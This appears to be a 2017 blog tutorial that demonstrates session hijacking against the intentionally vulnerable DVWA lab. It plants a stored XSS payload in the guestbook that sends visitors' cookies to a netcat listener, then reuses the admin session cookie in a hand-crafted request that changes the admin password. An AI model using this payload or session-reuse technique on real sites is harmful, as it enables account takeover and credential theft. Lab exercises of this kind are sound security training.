Sunday, February 5, 2017

Beginning Web Application: Testing Session Hijacking - DVWA

This post we look to take advantage of the trust a website has with a user's browser. An attacker may be able to leverage social engineering techniques to trick a user of an application into executing actions of the attacker choosing. If the user has admin level privileges, this vulnerability may result in a compromise of the entire web application.

In this post, we will complete a stored XSS attack against DVWA application to obtain "admin" cookie when visits are made to this page and then use that cookie to change the "admin" account of Dam Vulnerable Web App (DVWA) from another device. With stored XSS, whenever a user visit the page in question, the malicious code would be executed and the user's cookie would be sent to the remote server listening for the connections.

Once again, in this post we will leverage “netcat” to receive the cookie.

First up, let's embed the following code “<script>window.location=""+document.cookie</script>” in the web page of the DVWA Guestbook.

Whenever a user visit the guestbook, the page loads and he or she sees ...

... and as can be seen above, nothing looks suspicious.

However, at the remote end the attacker sees ...

As show above, the attacker now has information which is helpful such as the site which sent the information along with the cookie, etc.

Now let's assume, the attacker knows how this app works and thus wants to change the "admin" account so that he or she can login. As a result, the attacker does the following.

1. Connect to the remote site using netcat (nc)
2. Crafts a “HTTP GET” request for "/dvwa/vulnerabilities/csrf/?password_new=SecurityNik&password_conf=SecurityNik&Change=Change", changing the password to "SecurityNik" so that he or she can login to the site directly.

3. Set the Host header as: ""
4. Set the cookie header as "security=low; PHPSESSID=7rl0ua40n463bt6kh1r51j72h7"

Once we send along our request as crafted below ...

... we see the server responds with a "200 OK".

... and as we look into the returned text, we see ...

Look like we have managed to change the “admin” password. I’m sure there is more we can do now that we have credentials.

At this point if the application did not logout the user and ask to reauthenticate with the new credentials and if it supports multiple sessions, we can then authenticate with the new credentials and do whatever we want as that user - in this case admin. Obviously, all our activities at this point would be tied back to the malicious user's IP. However, that is not the focus of this post. The objective is to show how we can steal the cookie and reuse it.

Let's now try to use the new credentials

Once "Login" is clicked we see ...

Voila! Looks like this worked well.

What Works in remediating this vulnerability?

OWASP Session Hijacking
Wikipedia Session Hijacking


  1. Very nice article about back office support services.

  2. This comment has been removed by a blog administrator.